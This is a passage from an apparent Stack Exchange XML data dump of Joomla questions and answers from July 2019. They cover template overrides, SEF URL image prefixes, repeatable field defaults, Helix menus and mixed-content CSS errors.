rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla/template-overrides-articles/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 4 tutorials: How to create override for modules, components and layout -&gt; &lt;a href=&quot;https://www.joomlart.com/tutorials/joomla-4-tutorials-how-to-create-override-for-modules-components-and-layout&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlart.com/tutorials/joomla-4-tutorials-how-to-create-override-for-modules-components-and-layout&lt;/a&gt; -&gt; &lt;/p&gt;&#xA;" OwnerUserId="7638" LastActivityDate="2019-07-20T17:44:11.227" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24948" PostTypeId="2" ParentId="24932" CreationDate="2019-07-20T18:30:53.117" Score="1" Body="&lt;p&gt;So why not just set the page in the joomla configuration to „offline“ or did i missed something in your question? Its exactly for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2019-07-20T18:30:53.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24949" PostTypeId="2" ParentId="24821" CreationDate="2019-07-21T03:16:42.363" Score="0" Body="&lt;p&gt;After a lot of messing about with the web.config file I had a look around for a plugin that could force the redirect for me. This would not be my normal route, but as an IIS novice (as well as being completely baffled why a large corporation would choose to host Joomla on a windows server) I found the plugin below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/www-redirect/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/www-redirect/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I would never normally go down this route, but without another option, the plugin did the job. Hopefully this may help others in the future (as a last resort I hope).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-07-21T03:16:42.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24950" PostTypeId="2" ParentId="24932" CreationDate="2019-07-21T03:25:09.753" Score="1" Body="&lt;p&gt;There is a plugin called n3t coming soon which may help you with this. When enabled it will show a coming soon  page (which you can customise if you like) while letting you view the site. It uses your IP address to decide whether you can see the site or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/n3t-coming-soon/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/n3t-coming-soon/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-07-21T03:25:09.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24951" PostTypeId="2" ParentId="24937" CreationDate="2019-07-21T03:28:08.550" Score="0" Body="&lt;p&gt;As an interim measure, I have created a custom module and published it to the Admin control panel page which included some text advising not to update a specific component/module. Obviously it doesn’t prevent it happening, but works as a reminder for other admins.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-07-21T03:28:08.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24952" PostTypeId="2" ParentId="24943" CreationDate="2019-07-21T03:34:27.710" Score="0" Body="&lt;p&gt;I think I understand your issue with regards to opening in a new page. I’m guessing what you are seeing is the article opening within the page you were already on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a fix for this, create a new menu item for the K2 category within a ‘hidden’ or ‘ghost’ menu. This should then force the K2 item to open on a new page rather than within the current page. This has been a bug for some time it seems.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-07-21T03:34:27.710" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24954" PostTypeId="2" ParentId="24938" CreationDate="2019-07-22T09:00:53.457" Score="0" Body="&lt;p&gt;You're going to want to use the &lt;code&gt;OnAfterRender&lt;/code&gt; event listener as opposed to &lt;code&gt;onBeforeCompileHead&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you're trying to add a class to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag before it has been rendered, thus it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OnAfterRender&lt;/code&gt; will be triggered once the framework has rendered the application, meaning once the DOM has been rendered.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-07-22T12:10:47.380" LastActivityDate="2019-07-22T12:10:47.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24955" PostTypeId="2" ParentId="24939" CreationDate="2019-07-22T12:15:33.180" Score="0" Body="&lt;p&gt;I'm leaving this here for future readers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The End-Solution after the analysis with Somy Ericsson was to create a second module. For the AJAX-Backend tasks i've packed my existing frontend module and this second one into a Package. The administrator module contains a helper file that response to the AJAX calls made from my frontend module's backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was necessary because of the fact that the com_ajax is searching for the helper file via the JPATH_BASE constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in fact if called from frontend the path is:&#xA;modules/mod_modname/helper.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and from backend via customfield:&#xA;administrator/modules/mod_modname/helper.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;because we cannot change where com_ajax searches for the helper-file the workaround with a second module was necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks to Somy for pointing me into the right direction.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2019-07-22T12:15:33.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24957" PostTypeId="1" CreationDate="2019-07-22T17:09:58.500" Score="0" ViewCount="550" Body="&lt;p&gt;I want to have a background music played on my site's homepage. Preferably without the controls. So that the music would start playing on its own (ie, without user's interaction). I tried different things, but all in vain so far. Tried to insert an audio HTML5 code into Joomla's Custom HTML module. Also tried an extension from K2 AllVideos. I heard that Firefox &quot;doesn't like&quot; mp3 format? So I also have the same audio file in .ogg (just in case). And another thing. I read online somewhere that browsers don't allow sites to play music without it being started by sites' visitors, ie without them pushing &quot;PLAY&quot; button first? Like there's some special JS code that helps to overcome that obsticle in a way that the code triggers the player to start playing music. I've got K2 component on my site, so these aren't the regular Joomla articles, but K2 &quot;items&quot;. Don't know if that makes any difference in this regard... Also I'm aware that there's an option of inserting directly an audio HTML5 code into body of index.php file of current Joomla template. Though I'm not sure how to do that?&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2019-08-21T18:01:35.163" Title="Background music on a homepage" Tags="|k2|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24958" PostTypeId="2" ParentId="24957" CreationDate="2019-07-22T17:14:18.573" Score="1" Body="&lt;p&gt;You can simply use a small Javascript snippet to autoplay some music.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a basic example below and you'll notice &lt;code&gt;audio.autoplay = true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var source = 'https://sampleswap.org//samples-ghost/MELODIC%20LOOPS/GUITAR%20LOOPS/2302[kb]072_the-mystery-begins-guitar-space.wav.mp3';&#xA;var audio = new Audio();&#xA;audio.addEventListener('load', function() {&#xA;  audio.play();&#xA;}, true);&#xA;audio.src = source;&#xA;audio.autoplay = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a demo on JSFiddle: &lt;a href=&quot;https://jsfiddle.net/64o8qt5z/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/64o8qt5z/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe this will work on mobile devices though. If I rightly remember, such devices require user interaction. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-07-22T17:14:18.573" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24962" PostTypeId="1" AcceptedAnswerId="24964" CreationDate="2019-07-23T11:26:34.883" Score="2" ViewCount="80" Body="&lt;p&gt;Using Joomla 3.9.8 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &lt;a href=&quot;https://developers.google.com/web/ilt/pwa/working-with-the-fetch-api&quot; rel=&quot;nofollow noreferrer&quot;&gt;fetch() api&lt;/a&gt; in order to retrieve some data from a remote API. When I have the api results I'm displaying them in html elements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API returns various values, one of these is &lt;code&gt;url&lt;/code&gt;, I need to insert this &lt;code&gt;url&lt;/code&gt; into an image &lt;code&gt;src&lt;/code&gt;. This is normally pretty easy, but i've noticed that when I try this in Joomla the image &lt;code&gt;src&lt;/code&gt; is rewritten and prefixed with my site name. This is causing &lt;strong&gt;broken images&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to insert the code i'm using &lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer&lt;/a&gt; and a custom html module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a stripped back example to demonstrate the issue. For this example I will use the &lt;a href=&quot;https://randomuser.me&quot; rel=&quot;nofollow noreferrer&quot;&gt;random user api&lt;/a&gt;, but the logic is the same with any api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I am inserting into the custom html module using sourcerer is;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;fetch(&quot;https://randomuser.me/api/&quot;)&#xA;    .then(response =&amp;gt; response.json())&#xA;    .then(data =&amp;gt; {&#xA;      var url = data.results[0].picture.large;&#xA;      console.log(url);&#xA;      // displays https://randomuser.me/api/portraits/men/47.jpg&#xA;      console.log('&amp;lt;img src=&quot; '+url+' &quot;&amp;gt;');&#xA;      // displays &amp;lt;img src=&quot;/example.com/ https://randomuser.me/api/portraits/men/47.jpg &quot; &amp;gt;&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am logging the &lt;code&gt;url&lt;/code&gt; variable to the console, and the issue is clear. The image &lt;code&gt;src&lt;/code&gt; is being prefixed with my domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/whq2tcgy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a fiddle&lt;/a&gt; containing the exact same code, different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm almost certain it's an issue with Joomla SEF URLs because when I disable the plugin &gt; System - SEF &lt;strong&gt;everything works as expected&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read an &lt;a href=&quot;https://www.itoctopus.com/images-not-appearing-on-your-joomla-website&quot; rel=&quot;nofollow noreferrer&quot;&gt;article explaining&lt;/a&gt; the issue and some possible troubleshooting steps like re-arranging the plugin order, but nothin appears to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone can help as i've been stuck on this for quite a while now.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2019-07-23T12:11:32.580" LastActivityDate="2019-07-23T13:21:18.397" Title="SEF URL Broken Image Links When Fetching API Results" Tags="|joomla-3.x|javascript|custom-component|sef|restful-api|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24964" PostTypeId="2" ParentId="24962" CreationDate="2019-07-23T13:21:18.397" Score="1" Body="&lt;p&gt;So... I made this far too difficult for myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is that I had a &lt;strong&gt;space&lt;/strong&gt; in my code, right after the opening &lt;code&gt;img src=&quot;&lt;/code&gt; this was causing the Joomla SEF plugin to prefix my domain URL in the space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;console.log('&amp;lt;img src=&quot; '+url+' &quot;&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Working code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;console.log('&amp;lt;img src=&quot;'+url+'&quot;&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this saves someone else a few hours work.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-07-23T13:21:18.397" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24965" PostTypeId="1" AcceptedAnswerId="24971" CreationDate="2019-07-23T17:01:44.137" Score="0" ViewCount="305" Body="&lt;p&gt;I am trying to set a default value for the &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Repeatable_Field&quot; rel=&quot;nofollow noreferrer&quot;&gt;repeatable custom field&lt;/a&gt;.&#xA;My subform has a number field, a media field and a text field.&lt;br&gt;&#xA;I am using the default value field in the repeatable field configuration like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e43ix.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e43ix.png&quot; alt=&quot;repeatble filed subform with default value&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what I tried for the default value :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;type&quot;:&quot;2&quot;,&quot;Fichier&quot;:&quot;images\/blog\/test.jpg&quot;,&quot;Description&quot;:&quot;Default description&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am somehow not getting the syntax right or maybe not using the right approach for this.&lt;br&gt;&#xA;My aim is to have values already filled with content when adding new subforms while editing the articles here : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FvykS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FvykS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2020-04-21T01:01:20.130" Title="Default value for repeatable custom field" Tags="|joomla-3.x|articles|custom-field|repeatable-field|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24966" PostTypeId="2" ParentId="4297" CreationDate="2019-07-24T13:24:10.070" Score="0" Body="&lt;p&gt;Based on Fari's &lt;a href=&quot;https://stackoverflow.com/questions/8993971/php-strftime-french-characters&quot;&gt;link&lt;/a&gt; (Update 2) here is the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $oldLocale = setlocale(LC_TIME, 'fr_FR');&#xA;$date_string = utf8_encode(strftime('%d %B %Y', strtotime($jitem1-&amp;gt;publish_up)));&#xA;echo $date_string;&#xA;setlocale(LC_TIME, $oldLocale); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2019-07-24T13:24:10.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24967" PostTypeId="1" CreationDate="2019-07-24T19:08:22.897" Score="1" ViewCount="43" Body="&lt;p&gt;I have successfully managed to add the alias to the body class by creating a plugin.  It uses vanilla JS and isn't overly problematic except when I combine and compress my JS it stops working.  I'm not sure why.  But I have always thought it better to achieve this via PHP anyway.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with the below code using &lt;code&gt;onBeforeCompileHead&lt;/code&gt; instead of &lt;code&gt;onBeforeRender&lt;/code&gt; as I was trying to work out why it wouldn't work and I assume after the head had been compiiled that would be too late.  Can anyone assist me in understanding why this code doesn't work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*------------------------------------------------------------------------&#xA;# Alias as body class&#xA;# ------------------------------------------------------------------------&#xA;# version 1.0.0&#xA;# author Kind of Useful&#xA;# copyright Copyright (C) 2019 Kind of Useful. All Rights Reserved.&#xA;# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&#xA;# Websites: https://www.kindofuseful.com&#xA;# Technical Support: info@kindofuseful.com&#xA;-------------------------------------------------------------------------*/&#xA;&#xA;// Check to ensure this file is included in Joomla!&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;jimport( 'joomla.plugin.plugin' );&#xA;&#xA;class plgSystemKouAliasAsBodyClass extends JPlugin&#xA;{   &#xA;    function onBeforeCompileHead()&#xA;    {&#xA;&#xA;        $app            = JFactory::getApplication();&#xA;&#xA;        // If we are on admin don't process.&#xA;        if (!$app-&amp;gt;isClient('site'))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $document       = JFactory::getDocument();&#xA;        $menu           = $app-&amp;gt;getMenu();&#xA;        $active         = $menu-&amp;gt;getActive();&#xA;        $alias          = ucfirst($active-&amp;gt;alias);&#xA;&#xA;        $prefix         = $this-&amp;gt;params['prefix'];      &#xA;&#xA;        if ($this-&amp;gt;params['class'])                           // getParams and setParams only if something to add&#xA;        {&#xA;            $pageClass = $app-&amp;gt;getParams()['pageclass_sfx'];&#xA;&#xA;            $alias = $prefix . $alias;&#xA;&#xA;            if (!empty($pageClass))                           // isset and not an empty string&#xA;            {&#xA;                $pageClass .= ' ' . $alias;   // append new class&#xA;            }&#xA;            else&#xA;            {&#xA;                $pageClass = $alias;          // declare new class&#xA;            }&#xA;            $app-&amp;gt;setParams($pageClass);&#xA;        }       &#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-07-24T19:08:22.897" Title="Adding an alias to the body class by appending it to the existing alias" Tags="|plugin|plugin-events|system-plugin|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24969" PostTypeId="1" AcceptedAnswerId="24975" CreationDate="2019-07-25T14:16:25.033" Score="0" ViewCount="672" Body="&lt;p&gt;I have developed my website, and my main menu works perfectly well; and my main menu also displays well in the offcanvas position if a smartphone or a smaller screen is used. All is good, except for the plus signs not showing up for menu tabs which have sub menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More precisely, the submenus of the dropdown menu in the main manu directly show up below the correct menu tab in the offcanvas. I however want that any dropdown menu which exists in the main menu can be extended in the respective offcanvas menutab with a plus button to the right, to see the next level of submenus of the respective menu tab. Is that clear ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template : Helix Utlimate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concretely; that's what I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qvdvy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qvdvy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's what I want to have (image of another menu yes, but with the plus signs, and thus the possibility to extend the offcanvas menu):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/poNC6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/poNC6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE : I actually figured out that it automatically works if the menu is configured as a normal dropdown menu; but that it doesn't work if the dropdown menu (using the same hierarchization with URL and &quot;#&quot;) is defined as a mega menu from the template. So, to be able to use a mega menu in full screen mode, and a dropdown menu with plus expansions in the offcanvas position; do I need to create two main menus ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got it, I actually just forgot to switch the Main Menu Module Layout to an option of the helix ultimate template when I switched to it; now it's all settled and working. &lt;/p&gt;&#xA;" OwnerUserId="13652" LastEditorUserId="13652" LastEditDate="2019-07-26T10:10:48.910" LastActivityDate="2020-04-21T13:07:55.807" Title="How to create main menu in offcanvas position with plus signs to expand for their submenus?" Tags="|joomla-3.x|templates|helix3|submenu|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24970" PostTypeId="1" CreationDate="2019-07-25T14:28:07.997" Score="0" ViewCount="25" Body="&lt;p&gt;I have 2 sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ariesagro.in&lt;/li&gt;&#xA;&lt;li&gt;agswitches.in&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both are using Joomla and the latest version of Hexil3, but I am getting different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to activate megamenu in agswitches.in where in ariesagro.in it's working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to create multiple columns in single row in agswitches.in, where in ariesagro.in I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me how to make Helix3 work consistently on both sites?&lt;/p&gt;&#xA;" OwnerUserId="13660" LastEditorUserId="12352" LastEditDate="2019-07-25T20:53:14.577" LastActivityDate="2019-07-25T20:53:14.577" Title="Inconsistent Helix3 behavior using megamenu and multiple columns" Tags="|joomla-3.x|templates|helix3|jmenu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24971" PostTypeId="2" ParentId="24965" CreationDate="2019-07-25T22:45:57.350" Score="1" Body="&lt;p&gt;So you would need to change it to be json and array based. Here is a rough example I setup as a default field which works as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;test0&quot;:{&quot;type&quot;:&quot;2&quot;,&quot;Fichier&quot;:&quot;images\/joomla_black.png&quot;,&quot;Description&quot;:&quot;assasa&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;test0 is the in two parts, test is the name of the field and 0 is the field of the repeatable field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the rest of it you can see matches similarly to what you have.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2019-07-25T22:45:57.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24973" PostTypeId="1" AcceptedAnswerId="24974" CreationDate="2019-07-26T08:19:02.573" Score="0" ViewCount="38" Body="&lt;p&gt;I can display / hide the title of the module, but the slider is not showing up anymore...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HELP Template used = Helix Ultimate (newest version, cache also deleted)&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-07-26T11:35:36.097" Title="Help, after updating my Joomla to 3.9.1 the Slider (Avatar Articles Nivo) is not displaying anymore" Tags="|joomla-3.x|helix3|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24974" PostTypeId="2" ParentId="24973" CreationDate="2019-07-26T11:35:36.097" Score="0" Body="&lt;p&gt;All good, for anybody interested, the System - Dj-JQueryMonster Plugin made it reappear; probably a jquery conflict issue due to the update&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-07-26T11:35:36.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24975" PostTypeId="2" ParentId="24969" CreationDate="2019-07-26T11:39:59.660" Score="0" Body="&lt;p&gt;Got it, I actually just forgot to switch the Main Menu Module Layout to an option of the helix ultimate template when I switched to it; now it's all settled and working. &lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-07-26T11:39:59.660" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24976" PostTypeId="1" AcceptedAnswerId="24977" CreationDate="2019-07-26T12:08:32.510" Score="0" ViewCount="2858" Body="&lt;p&gt;How can you make that in Joomla, for example for the visibility of a table of a Joomla article on a mobile phone ?&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-08-15T07:39:00.067" Title="How can you make that tables in your Joomla articles are responsive and re-size appropriately with screen size?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24977" PostTypeId="2" ParentId="24976" CreationDate="2019-07-26T14:27:29.633" Score="-3" Body="&lt;pre&gt;&#xA;    table style=&quot;height: 100%; width: 100%;&quot;border=&quot;1&quot;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into the html code actually perfectly did it, all tables perfectly responsive now.&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-07-26T14:27:29.633" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24978" PostTypeId="1" AcceptedAnswerId="24980" CreationDate="2019-07-27T04:41:14.407" Score="0" ViewCount="462" Body="&lt;p&gt;In some browsers I get a Mixed Content error because there’s a call for style.css file and that file will be supposedly loading via HTTP protocol and that’s what some browsers try to prevent. It’s this line that triggers the error. And on line 46 in a source code of main page you see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this['asset']-&gt;addFile('css', 'css:style.css');&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css:style.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume that something within a template attempts to load that insecure CSS file (which I’m not even sure that exists in my Joomla tree). I don’t know where to find the source of this call and how to stop it. POSSIBLY it’s in templates/jp-x2/layouts/template.config.php file on line 103 there’s this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this['asset']-&amp;gt;addFile('css', 'css:style.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So MAYBE it’s the source of the trouble (or maybe not!)&#xA;Here how it looks like in Chromium browser (under Ubuntu 16.04) after pressing F12&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sce5I.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sce5I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11321" LastEditorUserId="11321" LastEditDate="2019-07-28T01:40:46.327" LastActivityDate="2019-07-28T23:31:43.570" Title="Mixed Content error caused by CSS file" Tags="|joomla-3.x|ssl|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24979" PostTypeId="2" ParentId="24976" CreationDate="2019-07-27T13:41:57.010" Score="0" Body="&lt;p&gt;Use &quot;Tiny MCE&quot; or &quot;JCE Editor&quot; to create tables. And make &quot;width=100%&quot; in table properties after you fill all the data in table. This will work in most of the responsive templates. Please refer this video: &lt;a href=&quot;https://www.youtube.com/watch?v=HIvORqkUe7w&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=HIvORqkUe7w&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not working, try some plugins in JED like this: &lt;a href=&quot;https://extensions.joomla.org/extension/responsive-tables/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/responsive-tables/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="11430" LastActivityDate="2019-07-27T13:41:57.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24980" PostTypeId="2" ParentId="24978" CreationDate="2019-07-27T23:55:49.123" Score="0" Body="&lt;p&gt;If the template developer can't fix this then there are some Joomla extensions that can help. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery Easy&lt;/a&gt; (free or paid version) can add or remove scripts and stylesheets so you could remove the http version of the stylesheet and add the https version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/easy-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy Https&lt;/a&gt; (paid) can change all http links to https links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/rereplacer&quot; rel=&quot;nofollow noreferrer&quot;&gt;ReReplacer&lt;/a&gt; (free or paid version) can replace anything in your Joomla site’s output with whatever you want so you could replace a specific http url with the https version or all http links with https if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per comments, creating style.css in the /templates/[template-name]/css folder seems to have fixed the problem.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-07-28T23:31:43.570" LastActivityDate="2019-07-28T23:31:43.570" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
